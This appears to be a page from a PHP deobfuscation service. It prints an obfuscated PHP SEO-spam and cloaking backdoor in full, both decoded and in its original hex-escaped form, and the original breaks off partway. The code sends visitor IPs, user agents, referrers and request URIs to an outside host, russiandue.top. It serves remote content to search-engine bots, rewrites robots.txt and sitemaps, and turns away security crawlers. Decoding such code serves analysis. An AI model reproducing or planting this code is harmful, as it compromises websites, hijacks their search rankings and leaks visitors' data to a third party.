Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto EI2bn; oBvPA: $uzCeQ = "{$w6w0w}\72\57\x2f" . $HtVNJ . $X94bQ . "\x73\x69\164\..
Decoded Output download
<?php
goto EI2bn; oBvPA: $uzCeQ = "{$w6w0w}://" . $HtVNJ . $X94bQ . "sitemap.xml"; goto Z4Vnx; LR_qR: hfePK: goto PleYG; ve6VK: zGSBj: goto LZapl; CSede: exit; goto i12yH; QRyDI: echo $RthL0; goto ns8lZ; kl0Gj: echo $RthL0 = F9gsL($by3fg); goto MsFX1; LFUb0: goto EUjOb; goto jI7sB; eQ5QJ: $RthL0 = f9GsL($kcGgv); goto dRcuE; Mscs5: jsyYd: goto Xy904; YwglV: $HtVNJ = urlencode($_SERVER["HTTP_HOST"]); goto zIZ_4; oVzX6: @file_put_contents("uxo.txt", "1"); goto vSLrs; hUFd4: goto mCSZF; goto wpf2U; oz56S: exit; goto fCCi4; JlDqn: $by3fg = $jxbS0 . "?agent={$blpUM}&refer={$nYA4n}&lang={$DRZ65}&ip={$WoNgf}&dom={$HtVNJ}&http={$w6w0w}&uri={$rVjyT}&pc={$SDKji}&rewriteable={$MSR9A}&script={$eXrGf}"; goto eaIT3; KdFXY: if (!(strpos($rVjyT, "uuuuxxxxooo") !== false)) { goto fzAi2; } goto ms1d8; PNete: $x6VXu = "https://www.google.com/ping?sitemap="; goto Ose87; ZfjR9: $WoNgf = urlencode($h0RPH); goto YwglV; mQRK1: header("HTTP/1.0 403 Forbidden"); goto TwRVN; VKtyO: function F9GSl($bQXnP) { goto cnUwd; q5vHH: YPjW8: goto wNeNW; wNeNW: $Qjf2W = curl_exec($TIpn7); goto pHQNU; KKZ5j: curl_setopt($TIpn7, CURLOPT_RETURNTRANSFER, true); goto BD4Ez; iXSJo: curl_setopt($TIpn7, CURLOPT_URL, $bQXnP); goto KKZ5j; cnUwd: $Qjf2W = @file_get_contents($bQXnP); goto VpCu5; pHQNU: curl_close($TIpn7); goto KAiLC; DIw7f: if (!(strpos($bQXnP, "https://") !== false)) { goto YPjW8; } goto LKVb5; KAiLC: hpMB3: goto mrocm; VpCu5: if (!empty($Qjf2W)) { goto hpMB3; } goto quUsc; BD4Ez: curl_setopt($TIpn7, CURLOPT_FOLLOWLOCATION, false); goto DIw7f; mrocm: return $Qjf2W; goto ckBd_; quUsc: $TIpn7 = curl_init(); goto iXSJo; SkEr3: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYHOST, FALSE); goto q5vHH; LKVb5: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYPEER, FALSE); goto SkEr3; ckBd_: } goto AUZuy; p0I04: $MSR9A = 0; goto Qjeow; QUcYU: AFF5w: goto PNete; dWxY8: if ($RthL0 == "500") { goto HL7CH; } goto ZQe3X; y3DUb: if (!($RthL0 == "500")) { goto zGSBj; } goto DZ7NZ; gJbL5: OXgJl: goto POUlb; Z2qau: goto N_aPv; goto LR_qR; TA46W: exit; goto S3lkn; BDnCy: r3mrg: goto vMu8a; eaIT3: $RthL0 = f9Gsl($by3fg); goto LAVco; V5ml3: $RthL0 = f9GSL($by3fg); goto YWYDf; GKv7I: if ($MSR9A == 0) { goto HI5En; } goto ODW26; wlcAV: if (!($h0RPH == "153.246.135.238" || $h0RPH == "219.101.44.233")) { goto r3mrg; } goto mQRK1; ODW26: $X94bQ = "/"; goto LFUb0; Q8UVM: $RthL0 = f9gSl($by3fg); goto oydG3; TgdR1: fAo4y: goto QRqvk; lw133: PGhOp: goto DkwHz; elVcQ: $by3fg = $jxbS0 . "?agent={$blpUM}&refer={$nYA4n}&lang={$DRZ65}&ip={$WoNgf}&dom={$HtVNJ}&http={$w6w0w}&uri={$rVjyT}&pc={$SDKji}&rewriteable={$MSR9A}&script={$eXrGf}"; goto Q8UVM; POUlb: if (strpos($rVjyT, "pingsitemap.xml") !== false) { goto qjrw7; } goto cxfYz; ms1d8: echo "ok"; goto u2BOZ; ewiwn: function qdX0G() { goto d0RZO; Cyjdu: $WoNgf = "0.0.0.0"; goto y059Q; y059Q: goto tsCBK; goto HSYVC; kqKe_: if (getenv("REMOTE_ADDR")) { goto WBaiS; } goto Cyjdu; PceBj: goto tsCBK; goto hPZ_l; K_fD8: $LXiUP = explode(",", $WoNgf); goto Z3Fyq; TlxpI: if (getenv("HTTP_X_FORWARDED_FOR")) { goto oIbIs; } goto kqKe_; J4IrK: $WoNgf = getenv("HTTP_X_FORWARDED_FOR"); goto K_fD8; d0RZO: if (!getenv("HTTP_CLIENT_IP")) { goto WGKiR; } goto fobrB; Z3Fyq: $WoNgf = $LXiUP[0]; goto PceBj; KdY1F: $WoNgf = getenv("HTTP_X_REAL_IP"); goto ZETZ0; qwpn_: if (getenv("HTTP_X_REAL_IP")) { goto t7VSC; } goto TlxpI; IK0JY: $WoNgf = getenv("REMOTE_ADDR"); goto Mrovn; Mrovn: tsCBK: goto Gv72E; HSYVC: t7VSC: goto KdY1F; IWCDu: oIbIs: goto J4IrK; IWQZJ: WGKiR: goto qwpn_; fobrB: $WoNgf = getenv("HTTP_CLIENT_IP"); goto IWQZJ; hPZ_l: WBaiS: goto IK0JY; ZETZ0: goto tsCBK; goto IWCDu; Gv72E: return $WoNgf; goto s3mlE; s3mlE: } goto VKtyO; ZQe3X: if (empty($RthL0)) { goto SFvy2; } goto TECW5; DZ7NZ: header("HTTP/1.0 500 Internal Server Error"); goto TT20l; GXUwn: DqTAN: goto jAfGj; FP2uR: if (strpos($rVjyT, "robots.txt") !== false || strpos($rVjyT, "writerobots") !== false) { goto npXr3; } goto DDKXg; JAw2s: $X94bQ = "/?"; goto OL3qL; TECW5: header("HTTP/1.1 404 Not Found"); goto QeIAJ; q2oK2: goto PGhOp; goto V6hO4; MimTl: $RthL0 = f9gSL($by3fg); goto ZfDKE; S3lkn: YmTzn: goto QiLw3; zjv_q: $blpUM = urlencode($_SERVER["HTTP_USER_AGENT"]); goto DMmqf; vMu8a: $MSR9A = 0; goto J9SHX; tIrF2: exit; goto wK5PP; onvme: exit; goto oV7RI; qN0oW: $jxbS0 = "http://cw97.russiandue.top/index.php"; goto cTAs0; qtfpV: $by3fg = $jxbS0 . "?agent={$blpUM}&refer={$nYA4n}&lang={$DRZ65}&ip={$WoNgf}&dom={$HtVNJ}&http={$w6w0w}&uri={$rVjyT}&pc={$SDKji}&rewriteable={$MSR9A}&script={$eXrGf}"; goto c2cPo; J9SHX: if (!file_exists("uxo.txt")) { goto pyfen; } goto pCqDJ; V6hO4: xJ9ee: goto nZ5Sz; IWuTY: $by3fg = $jxbS0 . "?agent={$blpUM}&refer={$nYA4n}&lang={$DRZ65}&ip={$WoNgf}&dom={$HtVNJ}&http={$w6w0w}&uri={$rVjyT}&pc={$SDKji}&rewriteable={$MSR9A}"; goto Ixthd; Xy904: hWnYW: goto hUFd4; zIZ_4: $eXrGf = urlencode($_SERVER["SCRIPT_NAME"]); goto h2tJT; QRqvk: s2xxN: goto as7TU; EI2bn: error_reporting(0); goto ewiwn; YxmUs: if (preg_match("/({$vDhW1})/i", $_SERVER["HTTP_USER_AGENT"])) { goto eIHhQ; } goto oZzJw; ZfDKE: @file_put_contents("robots.txt", $ZpcIL); goto onvme; vSLrs: jnNXr: goto gJbL5; h2tJT: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto xJ9ee; } goto MdIGd; DMmqf: $nYA4n = urlencode($_SERVER["HTTP_REFERER"]); goto PjR2o; qr1f4: $by3fg = $jxbS0 . "?agent={$blpUM}&refer={$nYA4n}&lang={$DRZ65}&ip={$WoNgf}&dom={$HtVNJ}&http={$w6w0w}&uri={$rVjyT}&pc={$SDKji}&rewriteable={$MSR9A}&script={$eXrGf}&sitemap=" . urlencode($uzCeQ); goto MimTl; vBClb: HL7CH: goto E0jrh; JS8i1: rwiit: goto GKv7I; THYfA: goto AFF5w; goto JS8i1; MdIGd: $_SERVER["REQUEST_SCHEME"] = "http"; goto q2oK2; fCCi4: N_aPv: goto gnVol; LAVco: echo $RthL0; goto tIrF2; c2cPo: header("Content-Type: text/plain; charset=utf-8"); goto kl0Gj; vOkuK: exit; goto Lrcsk; pEzGi: exit; goto FcTZh; Lrcsk: W0x3V: goto MwfUL; QhzgD: if (strpos($rVjyT, "jp2023") !== false) { goto WzbgP; } goto FP2uR; DkwHz: $w6w0w = urlencode($_SERVER["REQUEST_SCHEME"]); goto ttbjT; FcTZh: VrI7g: goto Ta89i; B57oQ: goto s2xxN; goto TgdR1; NGMFv: header("Content-Type: text/xml; charset=utf-8"); goto QRyDI; Ixthd: $RthL0 = f9gsL($by3fg); goto dWxY8; BRS0k: $MSR9A = 1; goto oVzX6; PleYG: header("HTTP/1.0 500 Internal Server Error"); goto oz56S; pCqDJ: $MSR9A = @file_get_contents("uxo.txt"); goto qrokt; v212O: WzbgP: goto JlDqn; TT20l: exit; goto ve6VK; Qjeow: @file_put_contents("uxo.txt", "0"); goto DAsdn; WbkwW: $by3fg = $jxbS0 . "?agent={$blpUM}&refer={$nYA4n}&lang={$DRZ65}&ip={$WoNgf}&dom={$HtVNJ}&http={$w6w0w}&uri={$rVjyT}&pc={$SDKji}&rewriteable={$MSR9A}&script={$eXrGf}"; goto V5ml3; N5k6F: goto YmTzn; goto vBClb; cxfYz: if (strpos($rVjyT, "favicon.ico") !== false) { goto fAo4y; } goto QhzgD; i12yH: SFvy2: goto N5k6F; DDKXg: if (preg_match("@^/(.*?).xml$@i", $rVjyT)) { goto cFdwm; } goto YxmUs; QeIAJ: echo $RthL0; goto CSede; LZapl: if (substr($RthL0, 0, 5) == "<?xml") { goto DqTAN; } goto gbhyq; Ta89i: $vDhW1 = "bing|google|yahoo"; goto qN0oW; as7TU: goto KVDk6; goto H1qwd; wK5PP: ubamq: goto B57oQ; gnVol: mCSZF: goto sZ6PR; H1qwd: qjrw7: goto zRwuo; bnsgD: exit; goto Mscs5; qrokt: goto OXgJl; goto qpAfk; Ose87: $ZpcIL = "User-agent: *\xd
Allow: /"; goto oBvPA; Jb7jZ: header("HTTP/1.0 403 Forbidden"); goto pEzGi; u2BOZ: exit; goto dV3Dv; W5peh: goto YDK1F; goto GXUwn; Xwn7v: $h0RPH = qdx0G(); goto ZfjR9; oydG3: if (empty($RthL0)) { goto jsyYd; } goto y3DUb; qXn4O: $uW9st = ''; goto xs_iA; cTAs0: $SDKji = 2777; goto zjv_q; AUZuy: function evkhq($bQXnP) { goto EsRXU; R_PeJ: curl_close($TIpn7); goto CPCxz; X454v: curl_setopt($TIpn7, CURLOPT_FOLLOWLOCATION, false); goto G0NzP; q2bO3: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYPEER, FALSE); goto JxgCk; gpTqT: $Qjf2W = curl_exec($TIpn7); goto R_PeJ; EsRXU: $TIpn7 = curl_init(); goto saa4z; WGCKs: uP_Sg: goto eRsrd; DybVp: if (!(strpos($bQXnP, "https://") !== false)) { goto MKWh4; } goto q2bO3; CPCxz: if (!empty($Qjf2W)) { goto uP_Sg; } goto IIgJ3; ZXc45: curl_setopt($TIpn7, CURLOPT_RETURNTRANSFER, true); goto X454v; H01_6: MKWh4: goto gpTqT; eRsrd: return $Qjf2W; goto BU1PU; JxgCk: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYHOST, FALSE); goto H01_6; IIgJ3: $Qjf2W = @file_get_contents($bQXnP); goto WGCKs; G0NzP: curl_setopt($TIpn7, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto DybVp; saa4z: curl_setopt($TIpn7, CURLOPT_URL, $bQXnP); goto ZXc45; BU1PU: } goto jnSy9; wpf2U: cFdwm: goto WbkwW; ns8lZ: exit; goto Z2qau; Qkfqc: goto rYmVJ; goto wWcVv; DAsdn: goto jnNXr; goto eDNs_; E0jrh: header("HTTP/1.0 500 Internal Server Error"); goto TA46W; mLLjl: $kcGgv = $w6w0w . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto eQ5QJ; D84Ca: YDK1F: goto S6_Fz; OL3qL: EUjOb: goto QUcYU; S6_Fz: echo $RthL0; goto bnsgD; jI7sB: HI5En: goto JAw2s; Z4Vnx: $ZpcIL = trim($ZpcIL) . "
\xa" . "Sitemap: {$uzCeQ}"; goto qXn4O; MsFX1: @file_put_contents("robots.txt", $RthL0); goto vOkuK; PjR2o: $DRZ65 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto Xwn7v; xs_iA: echo $uzCeQ . ": " . $uW9st . "<br/>"; goto qr1f4; eDNs_: Pp1cz: goto BRS0k; SkCE7: eIHhQ: goto elVcQ; jAfGj: header("Content-Type: text/xml; charset=utf-8"); goto D84Ca; dV3Dv: fzAi2: goto wlcAV; jnSy9: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto VrI7g; } goto Jb7jZ; qpAfk: pyfen: goto mLLjl; w6SkP: if (strpos($X94bQ, "index.php") !== false) { goto rwiit; } goto HACHy; HACHy: $X94bQ = $X94bQ . "?"; goto THYfA; YWYDf: if ($RthL0 == "500") { goto hfePK; } goto NGMFv; TwRVN: exit; goto BDnCy; nZ5Sz: $_SERVER["REQUEST_SCHEME"] = "https"; goto lw133; oZzJw: if (preg_match("/({$vDhW1})/i", $_SERVER["HTTP_REFERER"])) { goto ZjMXS; } goto Qkfqc; wWcVv: ZjMXS: goto IWuTY; L947y: npXr3: goto qtfpV; MwfUL: goto ubamq; goto v212O; zRwuo: $X94bQ = $_SERVER["SCRIPT_NAME"]; goto w6SkP; QiLw3: rYmVJ: goto f52q4; ttbjT: $rVjyT = urldecode($_SERVER["REQUEST_URI"]); goto KdFXY; gbhyq: header("Content-Type: text/html; charset=utf-8"); goto W5peh; sZ6PR: goto W0x3V; goto L947y; dRcuE: if ($RthL0 == "ok") { goto Pp1cz; } goto p0I04; f52q4: goto hWnYW; goto SkCE7; oV7RI: KVDk6:
?>
Did this file decode correctly?
Original Code
<?php
goto EI2bn; oBvPA: $uzCeQ = "{$w6w0w}\72\57\x2f" . $HtVNJ . $X94bQ . "\x73\x69\164\145\x6d\141\160\56\170\155\x6c"; goto Z4Vnx; LR_qR: hfePK: goto PleYG; ve6VK: zGSBj: goto LZapl; CSede: exit; goto i12yH; QRyDI: echo $RthL0; goto ns8lZ; kl0Gj: echo $RthL0 = F9gsL($by3fg); goto MsFX1; LFUb0: goto EUjOb; goto jI7sB; eQ5QJ: $RthL0 = f9GsL($kcGgv); goto dRcuE; Mscs5: jsyYd: goto Xy904; YwglV: $HtVNJ = urlencode($_SERVER["\x48\x54\124\x50\137\x48\117\x53\124"]); goto zIZ_4; oVzX6: @file_put_contents("\x75\170\157\x2e\164\170\164", "\x31"); goto vSLrs; hUFd4: goto mCSZF; goto wpf2U; oz56S: exit; goto fCCi4; JlDqn: $by3fg = $jxbS0 . "\77\141\147\x65\x6e\164\x3d{$blpUM}\46\x72\x65\146\145\162\x3d{$nYA4n}\46\x6c\x61\x6e\x67\75{$DRZ65}\x26\151\x70\x3d{$WoNgf}\x26\x64\x6f\x6d\x3d{$HtVNJ}\x26\150\164\164\x70\x3d{$w6w0w}\46\x75\x72\x69\x3d{$rVjyT}\46\x70\x63\75{$SDKji}\x26\162\145\167\162\x69\164\x65\x61\x62\154\145\x3d{$MSR9A}\x26\x73\143\x72\151\x70\x74\x3d{$eXrGf}"; goto eaIT3; KdFXY: if (!(strpos($rVjyT, "\x75\165\165\165\170\170\x78\x78\x6f\x6f\157") !== false)) { goto fzAi2; } goto ms1d8; PNete: $x6VXu = "\x68\164\164\160\x73\72\57\x2f\167\167\x77\x2e\x67\157\157\147\154\145\x2e\143\x6f\x6d\x2f\x70\151\x6e\x67\x3f\163\151\x74\145\155\x61\160\75"; goto Ose87; ZfjR9: $WoNgf = urlencode($h0RPH); goto YwglV; mQRK1: header("\110\124\124\x50\x2f\61\56\x30\x20\x34\60\63\x20\x46\x6f\162\142\x69\144\144\145\156"); goto TwRVN; VKtyO: function F9GSl($bQXnP) { goto cnUwd; q5vHH: YPjW8: goto wNeNW; wNeNW: $Qjf2W = curl_exec($TIpn7); goto pHQNU; KKZ5j: curl_setopt($TIpn7, CURLOPT_RETURNTRANSFER, true); goto BD4Ez; iXSJo: curl_setopt($TIpn7, CURLOPT_URL, $bQXnP); goto KKZ5j; cnUwd: $Qjf2W = @file_get_contents($bQXnP); goto VpCu5; pHQNU: curl_close($TIpn7); goto KAiLC; DIw7f: if (!(strpos($bQXnP, "\x68\x74\x74\x70\x73\x3a\57\x2f") !== false)) { goto YPjW8; } goto LKVb5; KAiLC: hpMB3: goto mrocm; VpCu5: if (!empty($Qjf2W)) { goto hpMB3; } goto quUsc; BD4Ez: curl_setopt($TIpn7, CURLOPT_FOLLOWLOCATION, false); goto DIw7f; mrocm: return $Qjf2W; goto ckBd_; quUsc: $TIpn7 = curl_init(); goto iXSJo; SkEr3: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYHOST, FALSE); goto q5vHH; LKVb5: curl_setopt($TIpn7, CURLOPT_SSL_VERIFYPEER, FALSE); goto SkEr3; ckBd_: } goto AUZuy; p0I04: $MSR9A = 0; goto Qjeow; QUcYU: AFF5w: goto PNete; dWxY8: if ($RthL0 == "\x35\x30\x30") { goto HL7CH; } goto ZQe3X; y3DUb: if (!($RthL0 == "\65\x30\60")) { goto zGSBj; } goto DZ7NZ; gJbL5: OXgJl: goto POUlb; Z2qau: goto N_aPv; goto LR_qR; TA46W: exit; goto S3lkn; BDnCy: r3mrg: goto vMu8a; eaIT3: $RthL0 = f9Gsl($by3fg); goto LAVco; V5ml3: $RthL0 = f9GSL($by3fg); goto YWYDf; GKv7I: if ($MSR9A == 0) { goto HI5En; } goto ODW26; wlcAV: if (!($h0RPH == "\x31\65\x33\56\x32\64\66\56\61\63\65\56\62\x33\x38" || $h0RPH == "\62\x31\x39\56\x31\60\x31\56\x34\x34\x2e\62\x33\x33")) { goto r3mrg; } goto mQRK1; ODW26: $X94bQ = "\57"; goto LFUb0; Q8UVM: $RthL0 = f9gSl($by3fg); goto oydG3; TgdR1: fAo4y: goto QRqvk; lw133: PGhOp: goto DkwHz; elVcQ: $by3fg = $jxbS0 . "\77\x61\147\x65\156\164\75{$blpUM}\x26\162\145\x66\x65\162\75{$nYA4n}\46\x6c\x61\156\x67\x3d{$DRZ65}\46\x69\x70\x3d{$WoNgf}\46\144\157\x6d\x3d{$HtVNJ}\x26\x68\x74\x74\x70\75{$w6w0w}\x26\x75\162\151\75{$rVjyT}\46\160\143\75{$SDKji}\x26\x72\145\167\162\x69\164\145\141\142\x6c\145\x3d{$MSR9A}\x26\163\x63\x72\x69\160\x74\x3d{$eXrGf}"; goto Q8UVM; POUlb: if (strpos($rVjyT, "\x70\151\x6e\147\163\x69\x74\x65\x6d\141\160\56\x78\155\154") !== false) { goto qjrw7; } goto cxfYz; ms1d8: echo "\x6f\153"; goto u2BOZ; ewiwn: function qdX0G() { goto d0RZO; Cyjdu: $WoNgf = "\x30\x2e\x30\x2e\60\x2e\x30"; goto y059Q; y059Q: goto tsCBK; goto HSYVC; kqKe_: if (getenv("\x52\105\x4d\x4f\x54\105\x5f\101\x44\x44\x52")) { goto WBaiS; } goto Cyjdu; PceBj: goto tsCBK; goto hPZ_l; K_fD8: $LXiUP = explode("\54", $WoNgf); goto Z3Fyq; TlxpI: if (getenv("\110\x54\124\x50\x5f\130\x5f\106\x4f\122\127\101\x52\x44\105\x44\137\x46\117\122")) { goto oIbIs; } goto kqKe_; J4IrK: $WoNgf = getenv("\x48\x54\124\x50\137\130\137\106\x4f\122\127\101\x52\104\x45\104\x5f\106\117\122"); goto K_fD8; d0RZO: if (!getenv("\110\x54\x54\120\x5f\x43\114\x49\x45\x4e\124\137\x49\x50")) { goto WGKiR; } goto fobrB; Z3Fyq: $WoNgf = $LXiUP[0]; goto PceBj; KdY1F: $WoNgf = getenv("\110\124\124\x50\137\x58\x5f\x52\x45\x41\x4c\x5f\111\120"); goto ZETZ0; qwpn_: if (getenv("\110\x54\x54\120\x5f\130\137\122\105\x41\114\x5f\x49\x50")) { goto t7VSC; } goto TlxpI; IK0JY: $WoNgf = getenv("\x52\105\x4d\x4f\124\x45\x5f\101\x44\104\122"); goto Mrovn; Mrovn: tsCBK: goto Gv72E; HSYVC: t7VSC: goto KdY1F; IWCDu: oIbIs: goto J4IrK; IWQZJ: WGKiR: goto qwpn_; fobrB: $WoNgf = getenv("\x48\124\124\x50\137\x43\x4c\111\x45\116\124\137\x49\x50"); goto IWQZJ; hPZ_l: WBaiS: goto IK0JY; ZETZ0: goto tsCBK; goto IWCDu; Gv72E: return $WoNgf; goto s3mlE; s3mlE: } goto VKtyO; ZQe3X: if (empty($RthL0)) { goto SFvy2; } goto TECW5; DZ7NZ: header("\110\x54\124\x50\x2f\x31\x2e\60\x20\65\60\60\x20\x49\156\x74\145\162\156\141\x6c\40\123\145\x72\x76\145\x72\40\105\x72\162\x6f\x72"); goto TT20l; GXUwn: DqTAN: goto jAfGj; FP2uR: if (strpos($rVjyT, "\162\157\142\157\164\x73\x2e\x74\170\x74") !== false || strpos($rVjyT, "\167\x72\151\x74\x65\162\x6f\x62\x6f\164\163") !== false) { goto npXr3; } goto DDKXg; JAw2s: $X94bQ = "\57\77"; goto OL3qL; TECW5: header("\110\x54\x54\120\57\x31\56\x31\x20\x34\60\x34\40\x4e\x6f\x74\40\x46\x6f\165\x6e\x64"); goto QeIAJ; q2oK2: goto PGhOp; goto V6hO4; MimTl: $RthL0 = f9gSL($by3fg); goto ZfDKE; S3lkn: YmTzn: goto QiLw3; zjv_q: $blpUM = urlencode($_SERVER["\110\124\x54\120\x5f\x55\x53\105\122\137\101\x47\105\116\124"]); goto DMmqf; vMu8a: $MSR9A = 0; goto J9SHX; tIrF2: exit; goto wK5PP; onvme: exit; goto oV7RI; qN0oW: $jxbS0 = "\150\164\164\160\72\57\x2f\x63\167\x39\67\56\x72\165\x73\x73\x69\x61\x6e\144\x75\145\56\164\157\160\x2f\151\x6e\x64\145\170\56\x70\150\x70"; goto cTAs0; qtfpV: $by3fg = $jxbS0 . "\x3f\141\x67\145\156\x74\x3d{$blpUM}\46\162\145\x66\145\x72\x3d{$nYA4n}\46\154\141\156\147\75{$DRZ65}\46\151\160\75{$WoNgf}\46\144\157\x6d\75{$HtVNJ}\46\150\164\164\160\75{$w6w0w}\46\x75\x72\151\x3d{$rVjyT}\46\x70\x63\x3d{$SDKji}\x26\x72\x65\x77\x72\151\x74\x65\x61\x62\154\145\x3d{$MSR9A}\46\x73\143\x72\x69\x70\164\x3d{$eXrGf}"; goto c2cPo; J9SHX: if (!file_exists("\x75\x78\x6f\x2e\x74\x78\164")) { goto pyfen; } goto pCqDJ; V6hO4: xJ9ee: goto nZ5Sz; IWuTY: $by3fg = $jxbS0 . "\x3f\141\147\145\156\164\x3d{$blpUM}\x26\x72\145\x66\x65\x72\x3d{$nYA4n}\46\154\x61\x6e\x67\x3d{$DRZ65}\46\x69\160\x3d{$WoNgf}\46\x64\x6f\x6d\75{$HtVNJ}\x26\x68\x74\164\x70\x3d{$w6w0w}\x26\165\162\151\75{$rVjyT}\x26\160\143\75{$SDKji}\x26\x72\145\x77\162\151\164\x65\141\142\154\x65\75{$MSR9A}"; goto Ixthd; Xy904: hWnYW: goto hUFd4; zIZ_4: $eXrGf = urlencode($_SERVER["\x53\x43\122\111\x50\x54\x5f\116\x41\x4d\105"]); goto h2tJT; QRqvk: s2xxN: goto as7TU; EI2bn: error_reporting(0); goto ewiwn; YxmUs: if (preg_match("\57\x28{$vDhW1}\x29\57\151", $_SERVER["\110\x54\124\x50\137\x55\x53\x45\x52\x5f\x41\107\x45\x4e\124"])) { goto eIHhQ; } goto oZzJw; ZfDKE: @file_put_contents("\162\x6f\x62\157\164\163\x2e\x74\x78\164", $ZpcIL); goto onvme; vSLrs: jnNXr: goto gJbL5; h2tJT: if (!empty($_SERVER["\x52\x45\x51\x55\x45\123\124\x5f\123\103\x48\x45\115\105"]) && $_SERVER["\122\105\x51\125\x45\x53\124\x5f\123\x43\x48\x45\x4d\105"] == "\x68\x74\x74\160\x73" || !empty($_SERVER["\x48\124\x54\120\x53"]) && $_SERVER["\110\x54\124\120\123"] == "\157\156" || !empty($_SERVER["\x53\x45\x52\126\105\x52\137\x50\x4f\x52\x54"]) && $_SERVER["\x53\105\122\126\105\122\137\x50\117\x52\124"] == "\x34\x34\x33" || isset($_SERVER["\x48\x54\124\120\x5f\x58\x5f\106\x4f\122\x57\101\122\x44\x45\x44\137\x50\x52\117\124\117"]) && $_SERVER["\x48\124\x54\120\137\130\137\x46\117\x52\x57\x41\122\x44\x45\x44\x5f\x50\x52\x4f\124\117"] == "\x68\164\164\x70\163") { goto xJ9ee; } goto MdIGd; DMmqf: $nYA4n = urlencode($_SERVER["\110\124\x54\120\x5f\122\105\106\x45\122\105\122"]); goto PjR2o; qr1f4: $by3fg = $jxbS0 . "\77\x61\x67\x65\156\164\75{$blpUM}\46\x72\x65\x66\145\162\75{$nYA4n}\46\154\141\x6e\x67\75{$DRZ65}\x26\x69\160\x3d{$WoNgf}\x26\144\x6f\x6d\75{$HtVNJ}\x26\x68\164\x74\160\x3d{$w6w0w}\46\x75\162\x69\75{$rVjyT}\x26\160\x63\x3d{$SDKji}\x26\x72\x65\x77\162\151\x74\145\141\142\x6c\x65\75{$MSR9A}\x26\163\143\162\151\x70\164\x3d{$eXrGf}\x26\163\x69\x74\x65\x6d\x61\160\75" . urlencode($uzCeQ); goto MimTl; vBClb: HL7CH: goto E0jrh; JS8i1: rwiit: goto GKv7I; THYfA: goto AFF5w; goto JS8i1; MdIGd: $_SERVER["\122\x45\121\125\105\123\124\x5f\x53\103\110\105\115\105"] = "\150\164\x74\160"; goto q2oK2; fCCi4: N_aPv: goto gnVol; LAVco: echo $RthL0; goto tIrF2; c2cPo: header("\x43\157\156\x74\x65\x6e\164\x2d\x54\x79\160\145\72\40\164\145\x78\164\x2f\x70\154\x61\151\156\73\x20\x63\150\141\162\163\x65\164\x3d\165\x74\x66\x2d\70"); goto kl0Gj; vOkuK: exit; goto Lrcsk; pEzGi: exit; goto FcTZh; Lrcsk: W0x3V: goto MwfUL; QhzgD: if (strpos($rVjyT, "\x6a\160\x32\60\62\63") !== false) { goto WzbgP; } goto FP2uR; DkwHz: $w6w0w = urlencode($_SERVER["\122\105\x51\125\105\x53\124\x5f\123\x43\x48\x45\115\x45"]); goto ttbjT; FcTZh: VrI7g: goto Ta89i; B57oQ: goto s2xxN; goto TgdR1; NGMFv: header("\103\x6f\156\164\145\x6e\164\55\124\171\160\x65\72\x20\164\145\x78\164\57\170\x6d\x6c\x3b\40\x63\x68\141\162\x73\145\x74\x3d\165\x74\146\55\x38"); goto QRyDI; Ixthd: $RthL0 = f9gsL($by3fg); goto dWxY8; BRS0k: $MSR9A = 1; goto oVzX6; PleYG: header("\110\x54\x54\120\57\61\56\x30\40\x35\60\x30\x20\111\156\x74\145\162\x6e\141\x6c\40\123\x65\x72\x76\x65\x72\40\x45\x72\162\x6f\x72"); goto oz56S; pCqDJ: $MSR9A = @file_get_contents("\165\170\157\56\164\x78\164"); goto qrokt; v212O: WzbgP: goto JlDqn; TT20l: exit; goto ve6VK; Qjeow: @file_put_contents("\x75\x78\157\x2e\x74\x78\x74", "\60"); goto DAsdn; WbkwW: $by3fg = $jxbS0 . "\x3f\141\x67\145\x6e\x74\75{$blpUM}\46\x72\x65\146\x65\x72\75{$nYA4n}\46\x6c\141\x6e\x67\x3d{$DRZ65}\x26\151\160\75{$WoNgf}\46\144\x6f\155\x3d{$HtVNJ}\46\x68\164\x74\x70\75{$w6w0w}\x26\x75\162\x69\75{$rVjyT}\46\x70\x63\75{$SDKji}\46\162\145\x77\x72\151\164\x65\141\x62\154\145\75{$MSR9A}\46\x73\143\x72\151\x70\164\x3d{$eXrGf}"; goto V5ml3; N5k6F: goto YmTzn; goto vBClb; cxfYz: if (strpos($rVjyT, "\x66\141\166\x69\x63\157\156\x2e\151\143\x6f") !== false) { goto fAo4y; } goto QhzgD; i12yH: SFvy2: goto N5k6F; DDKXg: if (preg_match("\x40\x5e\x2f\50\x2e\x2a\77\x29\56\x78\155\x6c\44\x40\151", $rVjyT)) { goto cFdwm; } goto YxmUs; QeIAJ: echo $RthL0; goto CSede; LZapl: if (substr($RthL0, 0, 5) == "\x3c\77\170\155\154") { goto DqTAN; } goto gbhyq; Ta89i: $vDhW1 = "\x62\x69\156\147\x7c\x67\157\x6f\x67\x6c\145\174\171\x61\x68\x6f\x6f"; goto qN0oW; as7TU: goto KVDk6; goto H1qwd; wK5PP: ubamq: goto B57oQ; gnVol: mCSZF: goto sZ6PR; H1qwd: qjrw7: goto zRwuo; bnsgD: exit; goto Mscs5; qrokt: goto OXgJl; goto qpAfk; Ose87: $ZpcIL = 